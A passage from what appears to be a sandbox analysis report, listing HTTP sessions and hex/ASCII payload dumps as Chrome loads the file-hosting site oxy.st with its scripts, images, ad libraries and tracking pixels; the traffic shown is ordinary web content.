2024-06-15 09:14:54 UTC	8720	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 20 20 20 20 22 75 73 65 20 73 74 72 69 63 74 22 3b 0a 0a 20 20 20 20 6a 51 75 65 72 79 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 24 29 20 7b 0a 0a 0a 20 20 20 20 20 20 20 20 24 28 27 2e 73 6c 69 64 65 72 2d 77 72 61 70 70 65 72 27 29 2e 6f 6e 28 27 69 6e 69 74 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 2c 20 73 6c 69 63 6b 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 24 66 69 72 73 74 41 6e 69 6d 61 74 69 6e 67 45 6c 65 6d 65 6e 74 73 20 3d 20 24 28 27 64 69 76 2e 73 6c 69 64 65 72 2d 73 69 6e 67 6c 65 2d 69 74 65 6d 3a 66 69 72 73 74 2d 63 68 69 6c 64 27 29 2e 66 69 6e 64 28 27 5b 64 61 74 61 2d 61 6e 69 6d 61 74 69 6f 6e 5d 27 29 3b 0a 20 20 20 20 20 20 Data Ascii: (function ($) { "use strict"; jQuery(document).ready(function ($) { $('.slider-wrapper').on('init', function (e, slick) { var $firstAnimatingElements = $('div.slider-single-item:first-child').find('[data-animation]');

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49734	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	467	OUT	GET /slake/asset/img/bg/flake-slider-header.jpg HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	356	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Tue, 11 Jun 2024 05:19:51 GMT Content-Type: image/jpeg Content-Length: 31870 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT ETag: "5eefbeb2-7c7e" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 359703 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	16028	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff e1 03 8d 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 32 31 20 37 39 2e 31 35 34 39 31 31 2c 20 32 30 31 33 2f 31 30 2f 32 39 2d 31 31 3a 34 37 3a 31 36 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Duckydhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c021 79.154911, 2013/10/29-11:47:16 "> <rdf:RDF xm
2024-06-15 09:14:54 UTC	15842	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 4c 72 8b e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d2 e6 18 3f 31 b3 cf 8e 23 5b 79 26 f4 ed f3 d3 df ac 47 c5 a6 9e 94 fc b6 4f 4b 3d 6d d1 ae 93 f0 96 b7 8e 2a cc 28 0e 91 48 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Lr?1#[y&GOK=m*(H

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49737	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	625	OUT	GET /slake/asset/js/ajax-mail.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	388	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 14 Jun 2024 10:17:04 GMT Content-Type: application/javascript Content-Length: 1667 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: * Accept-Ranges: bytes Etag: "5eefbeb2-683" Age: 82670 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	1667	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 24 29 20 7b 0d 0a 20 20 20 20 27 75 73 65 20 73 74 72 69 63 74 27 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 66 6f 72 6d 2e 0d 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 20 3d 20 24 28 27 23 64 69 67 69 74 61 2d 63 6f 6e 74 61 63 74 2d 66 6f 72 6d 27 29 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 47 65 74 20 74 68 65 20 6d 65 73 73 61 67 65 73 20 64 69 76 2e 0d 0a 20 20 20 20 76 61 72 20 66 6f 72 6d 4d 65 73 73 61 67 65 73 20 3d 20 24 28 27 2e 63 6f 6e 74 61 63 74 2d 73 65 6e 64 2d 6d 65 73 73 61 67 65 27 29 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 53 65 74 20 75 70 20 61 6e 20 65 76 65 6e 74 20 6c 69 73 74 65 6e 65 72 20 66 6f 72 20 74 68 65 20 63 6f 6e 74 61 63 74 20 66 6f 72 6d 2e 0d 0a 20 20 20 20 24 28 66 6f 72 6d 29 2e Data Ascii: (function($) { 'use strict'; // Get the form. var form = $('#digita-contact-form'); // Get the messages div. var formMessages = $('.contact-send-message'); // Set up an event listener for the contact form. $(form).

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49738	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	439	OUT	GET /images/ltd.svg HTTP/1.1 Host: oxy.st Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	382	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Thu, 13 Jun 2024 01:16:05 GMT Content-Type: image/svg+xml Content-Length: 50208 Last-Modified: Fri, 20 Nov 2020 00:55:29 GMT Vary: Accept-Encoding ETag: "5fb71401-c420" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 201529 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	16002	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 33 36 39 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 33 36 39 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0a 3c 70 61 74 68 20 64 3d 22 4d 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 4c 37 2e 32 39 33 39 35 20 33 2e 30 34 36 38 38 48 38 2e 37 32 39 34 39 4c 35 2e 30 33 38 30 39 20 31 33 48 33 2e 38 37 35 39 38 4c 30 2e 31 39 31 34 30 36 20 33 2e 30 34 36 38 38 48 31 2e 36 32 30 31 32 4c 34 2e 34 35 30 32 20 31 31 2e 32 35 36 38 5a 4d 31 35 2e 36 39 35 33 20 38 2e 33 39 39 34 31 48 31 31 2e 33 38 31 38 56 31 31 2e 39 32 36 38 48 31 36 2e 33 39 32 36 56 31 33 48 31 30 2e 30 36 Data Ascii: <svg width="369" height="48" viewBox="0 0 369 48" fill="none" xmlns="http://www.w3.org/2000/svg"><path d="M4.4502 11.2568L7.29395 3.04688H8.72949L5.03809 13H3.87598L0.191406 3.04688H1.62012L4.4502 11.2568ZM15.6953 8.39941H11.3818V11.9268H16.3926V13H10.06
2024-06-15 09:14:54 UTC	16384	IN	Data Raw: 39 34 31 20 32 38 37 2e 31 38 32 20 38 2e 35 37 32 35 39 20 32 38 36 2e 38 33 36 20 38 2e 39 31 38 39 35 43 32 38 36 2e 34 39 34 20 39 2e 32 36 35 33 20 32 38 36 2e 33 32 33 20 39 2e 37 32 31 30 33 20 32 38 36 2e 33 32 33 20 31 30 2e 32 38 36 31 43 32 38 36 2e 33 32 33 20 31 30 2e 38 35 31 32 20 32 38 36 2e 34 39 20 31 31 2e 32 39 35 36 20 32 38 36 2e 38 32 32 20 31 31 2e 36 31 39 31 43 32 38 37 2e 31 36 20 31 31 2e 39 34 32 37 20 32 38 37 2e 36 32 37 20 31 32 2e 31 30 34 35 20 32 38 38 2e 32 32 34 20 31 32 2e 31 30 34 35 43 32 38 38 2e 38 31 36 20 31 32 2e 31 30 34 35 20 32 38 39 2e 32 38 31 20 31 31 2e 39 34 32 37 20 32 38 39 2e 36 31 38 20 31 31 2e 36 31 39 31 43 32 38 39 2e 39 35 35 20 31 31 2e 32 39 31 20 32 39 30 2e 31 32 34 20 31 30 2e 38 34 36 37 Data Ascii: 941 287.182 8.57259 286.836 8.91895C286.494 9.2653 286.323 9.72103 286.323 10.2861C286.323 10.8512 286.49 11.2956 286.822 11.6191C287.16 11.9427 287.627 12.1045 288.224 12.1045C288.816 12.1045 289.281 11.9427 289.618 11.6191C289.955 11.291 290.124 10.8467
2024-06-15 09:14:55 UTC	16384	IN	Data Raw: 32 2e 30 36 38 20 32 32 2e 31 30 39 34 43 31 38 32 2e 35 35 31 20 32 32 2e 35 33 33 32 20 31 38 32 2e 38 30 32 20 32 33 2e 31 31 38 38 20 31 38 32 2e 38 32 20 32 33 2e 38 36 36 32 56 32 37 2e 32 37 30 35 43 31 38 32 2e 38 32 20 32 37 2e 39 34 39 35 20 31 38 32 2e 39 30 37 20 32 38 2e 34 38 39 36 20 31 38 33 2e 30 38 20 32 38 2e 38 39 30 36 56 32 39 48 31 38 31 2e 37 35 34 5a 4d 31 37 39 2e 36 35 35 20 32 38 2e 30 33 36 31 43 31 38 30 2e 30 35 32 20 32 38 2e 30 33 36 31 20 31 38 30 2e 34 32 38 20 32 37 2e 39 33 33 36 20 31 38 30 2e 37 38 33 20 32 37 2e 37 32 38 35 43 31 38 31 2e 31 33 39 20 32 37 2e 35 32 33 34 20 31 38 31 2e 33 39 36 20 32 37 2e 32 35 36 38 20 31 38 31 2e 35 35 36 20 32 36 2e 39 32 38 37 56 32 35 2e 34 31 31 31 48 31 38 30 2e 35 36 34 43 Data Ascii: 2.068 22.1094C182.551 22.5332 182.802 23.1188 182.82 23.8662V27.2705C182.82 27.9495 182.907 28.4896 183.08 28.8906V29H181.754ZM179.655 28.0361C180.052 28.0361 180.428 27.9336 180.783 27.7285C181.139 27.5234 181.396 27.2568 181.556 26.9287V25.4111H180.564C
2024-06-15 09:14:55 UTC	1438	IN	Data Raw: 33 35 20 33 31 2e 39 31 37 20 34 34 2e 30 36 33 35 43 33 32 2e 38 38 33 31 20 34 34 2e 30 36 33 35 20 33 33 2e 35 32 35 37 20 34 33 2e 37 30 33 35 20 33 33 2e 38 34 34 37 20 34 32 2e 39 38 33 34 56 33 37 2e 36 30 33 35 48 33 35 2e 31 30 39 34 56 34 35 48 33 33 2e 39 30 36 32 4c 33 33 2e 38 37 38 39 20 34 34 2e 32 36 38 36 5a 4d 34 31 2e 33 34 33 38 20 34 33 2e 30 33 38 31 43 34 31 2e 33 34 33 38 20 34 32 2e 36 39 36 33 20 34 31 2e 32 31 33 39 20 34 32 2e 34 33 32 20 34 30 2e 39 35 34 31 20 34 32 2e 32 34 35 31 43 34 30 2e 36 39 38 39 20 34 32 2e 30 35 33 37 20 34 30 2e 32 35 20 34 31 2e 38 38 39 36 20 33 39 2e 36 30 37 34 20 34 31 2e 37 35 32 39 43 33 38 2e 39 36 39 34 20 34 31 2e 36 31 36 32 20 33 38 2e 34 36 31 33 20 34 31 2e 34 35 32 31 20 33 38 2e 30 Data Ascii: 35 31.917 44.0635C32.8831 44.0635 33.5257 43.7035 33.8447 42.9834V37.6035H35.1094V45H33.9062L33.8789 44.2686ZM41.3438 43.0381C41.3438 42.6963 41.2139 42.432 40.9541 42.2451C40.6989 42.0537 40.25 41.8896 39.6074 41.7529C38.9694 41.6162 38.4613 41.4521 38.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.16	49736	185.178.208.137	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	630	OUT	GET /slake/asset/js/ajax-subscribe.js HTTP/1.1 Host: oxy.st Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/d/SmUh Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __ddg1_=xTN6aNWjl2PXlnIhaelk; PHPSESSID=9te80bjklnerqcfurdd2s032p7; __b22_=1661361629
2024-06-15 09:14:54 UTC	389	IN	HTTP/1.1 200 OK Server: ddos-guard Connection: close Content-Security-Policy: upgrade-insecure-requests; Date: Fri, 07 Jun 2024 23:02:35 GMT Content-Type: application/javascript Content-Length: 1429 Last-Modified: Sun, 21 Jun 2020 20:10:26 GMT Vary: Accept-Encoding ETag: "5eefbeb2-595" Access-Control-Allow-Origin: * Accept-Ranges: bytes Age: 641539 DDG-Cache-Status: HIT
2024-06-15 09:14:54 UTC	1429	IN	Data Raw: 24 28 64 6f 63 75 6d 65 6e 74 29 2e 72 65 61 64 79 28 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 76 61 72 20 24 66 6f 72 6d 20 3d 20 24 28 27 23 6d 63 2d 65 6d 62 65 64 64 65 64 2d 73 75 62 73 63 72 69 62 65 2d 66 6f 72 6d 27 29 0d 0a 20 20 69 66 20 28 24 66 6f 72 6d 2e 6c 65 6e 67 74 68 20 3e 20 30 29 20 7b 0d 0a 20 20 20 20 24 28 27 66 6f 72 6d 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 73 75 62 6d 69 74 22 5d 27 29 2e 62 69 6e 64 28 27 63 6c 69 63 6b 27 2c 20 66 75 6e 63 74 69 6f 6e 20 28 65 76 65 6e 74 29 20 7b 0d 0a 20 20 20 20 20 20 69 66 20 28 65 76 65 6e 74 29 20 65 76 65 6e 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 0d 0a 20 20 20 20 20 20 72 65 67 69 73 74 65 72 28 24 66 6f 72 6d 29 0d 0a 20 20 20 20 7d 29 0d 0a 20 20 7d 0d 0a 7d Data Ascii: $(document).ready(function () { var $form = $('#mc-embedded-subscribe-form') if ($form.length > 0) { $('form input[type="submit"]').bind('click', function (event) { if (event) event.preventDefault() register($form) }) }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.16	49739	188.114.97.3	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	527	OUT	GET /ads/lib_adagio.js HTTP/1.1 Host: cdn.themoneytizer.fr Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:54 UTC	961	IN	HTTP/1.1 200 OK Date: Sat, 15 Jun 2024 09:14:54 GMT Content-Type: application/javascript Content-Length: 1839 Connection: close x-amz-id-2: c43dsP3AFYRPdlXL8aqpIar/FEIt4zdwqY8LBb8wETtEa9pgnHEHV01NecUPidYd6suYjGIm6iJsP0o/+Y8W39OS+OfCAKUZ x-amz-request-id: 21XTCG0QFWS19MY9 Last-Modified: Wed, 05 Jun 2024 18:28:25 GMT ETag: "f2ae4810b618b8843df5265f6320f1a4" x-amz-server-side-encryption: AES256 x-amz-version-id: qvYhA6q9SmHJElAJ4hWBgTd.Ag0_5M8x Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 1928 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Xh4442FNxU8et98ngbdaRudhIlzwLdOG5%2Fkg8FgMiomtMbZeHMHadZ6tUaDLG73Hx16%2B2gYxSijxpk1LC1go6X0C9RbGbpHDpwUZOuowjpdu%2B9WgLKTucM1C%2B1JwAjMTBBcwLclqwg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 894173dc29f5468f-DFW alt-svc: h3=":443"; ma=86400
2024-06-15 09:14:54 UTC	408	IN	Data Raw: 63 6f 6e 73 74 20 6b 65 79 53 65 73 73 69 6f 6e 4c 61 73 74 41 63 74 69 76 69 74 79 20 3d 20 27 73 65 73 73 69 6f 6e 4c 61 73 74 41 63 74 69 76 69 74 79 27 3b 0a 63 6f 6e 73 74 20 6b 65 79 53 65 73 73 69 6f 6e 42 61 74 63 68 4b 65 79 77 6f 72 64 20 3d 20 27 73 65 73 73 69 6f 6e 42 61 74 63 68 4b 65 79 77 6f 72 64 27 3b 0a 63 6f 6e 73 74 20 62 61 74 63 68 4b 65 79 77 6f 72 64 43 6c 69 65 6e 74 20 3d 20 27 72 65 76 65 6e 75 65 2d 6c 61 75 6e 63 68 2d 62 61 74 63 68 31 2d 63 6c 69 65 6e 74 27 3b 0a 63 6f 6e 73 74 20 62 61 74 63 68 4b 65 79 77 6f 72 64 53 65 72 76 65 72 20 3d 20 27 72 65 76 65 6e 75 65 2d 6c 61 75 6e 63 68 2d 62 61 74 63 68 31 2d 73 65 72 76 65 72 27 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 63 61 6e 41 63 63 65 73 73 54 6f 70 57 69 6e 64 6f 77 28 Data Ascii: const keySessionLastActivity = 'sessionLastActivity';const keySessionBatchKeyword = 'sessionBatchKeyword';const batchKeywordClient = 'revenue-launch-batch1-client';const batchKeywordServer = 'revenue-launch-batch1-server';function canAccessTopWindow(
2024-06-15 09:14:54 UTC	1369	IN	Data Raw: 27 2c 20 65 72 72 6f 72 29 3b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 0a 20 20 20 20 7d 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 57 69 6e 64 6f 77 28 29 20 7b 0a 20 20 20 20 72 65 74 75 72 6e 20 63 61 6e 41 63 63 65 73 73 54 6f 70 57 69 6e 64 6f 77 28 29 20 3f 20 77 69 6e 64 6f 77 2e 74 6f 70 20 3a 20 77 69 6e 64 6f 77 2e 73 65 6c 66 3b 0a 7d 3b 0a 0a 66 75 6e 63 74 69 6f 6e 20 67 65 74 42 61 74 63 68 4b 65 79 77 6f 72 64 28 29 20 7b 0a 20 20 20 20 6c 65 74 20 62 61 74 63 68 4b 65 79 77 6f 72 64 20 3d 20 62 61 74 63 68 4b 65 79 77 6f 72 64 43 6c 69 65 6e 74 3b 20 2f 2f 20 44 65 66 61 75 6c 74 20 74 6f 20 63 6c 69 65 6e 74 20 69 6e 20 63 61 73 65 20 6f 66 20 65 72 72 6f 72 0a 0a 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 Data Ascii: ', error); return false; }};function getWindow() { return canAccessTopWindow() ? window.top : window.self;};function getBatchKeyword() { let batchKeyword = batchKeywordClient; // Default to client in case of error try {
2024-06-15 09:14:54 UTC	62	IN	Data Raw: 72 28 27 67 65 74 42 61 74 63 68 4b 65 79 77 6f 72 64 27 2c 20 65 72 72 6f 72 29 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 72 65 74 75 72 6e 20 62 61 74 63 68 4b 65 79 77 6f 72 64 3b 0a 7d Data Ascii: r('getBatchKeyword', error); } return batchKeyword;}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.16	49741	51.89.9.252	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	712	OUT	GET /usync/?pubId=2a897e3f18e6769&cb=1718442893618 HTTP/1.1 Host: onetag-sys.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://oxy.st/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:55 UTC	219	IN	HTTP/1.1 200 OK content-type: text/html cache-control: no-transform, no-cache content-length: 2162 strict-transport-security: max-age=15552000 alt-svc: h3=":443"; ma=900, h3-29=":443"; ma=900 connection: close
2024-06-15 09:14:55 UTC	1343	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 53 79 6e 63 20 50 69 78 65 6c 73 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 3c 73 63 72 69 70 74 3e 0a 0a 20 20 20 20 76 61 72 20 73 79 6e 63 50 69 78 65 6c 73 20 3d 20 22 22 3b 0a 20 20 20 20 76 61 72 20 73 79 6e 63 49 66 72 61 6d 65 73 20 3d 20 22 22 3b 0a 0a 20 20 20 20 76 61 72 20 47 44 50 52 5f 41 50 50 4c 49 45 53 20 3d 20 22 67 64 70 72 3d 22 3b 0a 20 20 20 20 76 61 72 20 47 44 50 52 20 3d 20 22 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 22 3b 0a 20 20 20 20 76 61 72 20 55 53 5f 50 52 49 56 Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <title>Sync Pixels</title></head><body><script> var syncPixels = ""; var syncIframes = ""; var GDPR_APPLIES = "gdpr="; var GDPR = "gdpr_consent="; var US_PRIV
2024-06-15 09:14:55 UTC	819	IN	Data Raw: 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 75 72 6c 20 3d 20 75 72 6c 2e 72 65 70 6c 61 63 65 28 22 24 7b 55 53 5f 50 52 49 56 41 43 59 7d 22 2c 20 75 73 50 72 69 76 61 63 79 29 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6e 65 77 20 49 6d 61 67 65 28 29 2e 73 72 63 20 3d 20 75 72 6c 3b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 7d 0a 0a 20 20 20 20 69 66 20 28 73 79 6e 63 49 66 72 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 76 61 72 20 73 79 6e 63 46 20 3d 20 73 79 6e 63 49 66 72 61 6d 65 73 2e 73 70 6c 69 74 28 22 2c 22 29 3b 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 79 6e 63 46 20 21 3d 20 6e 75 6c 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 73 79 6e 63 46 2e Data Ascii: ); url = url.replace("${US_PRIVACY}", usPrivacy); new Image().src = url; }); } } if (syncIframes) { var syncF = syncIframes.split(","); if (syncF != null) { syncF.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.16	49742	23.212.88.20	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-15 09:14:54 UTC	407	OUT	GET /flping.php?reason=0&action=16&pid=8PON7BY3O&gdpr=0&cid=8CU7BC15F&crid= HTTP/1.1 Host: lg3.media.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-15 09:14:55 UTC	328	IN	HTTP/1.1 200 OK Content-Length: 35 Content-Type: image/gif Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=21600 Alt-Svc: h3=":443"; ma=93600 Expires: Sat, 15 Jun 2024 09:14:55 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Sat, 15 Jun 2024 09:14:55 GMT Connection: close
2024-06-15 09:14:55 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 ff ff ff 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.16	49743	178.250.1.11	443	6344	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
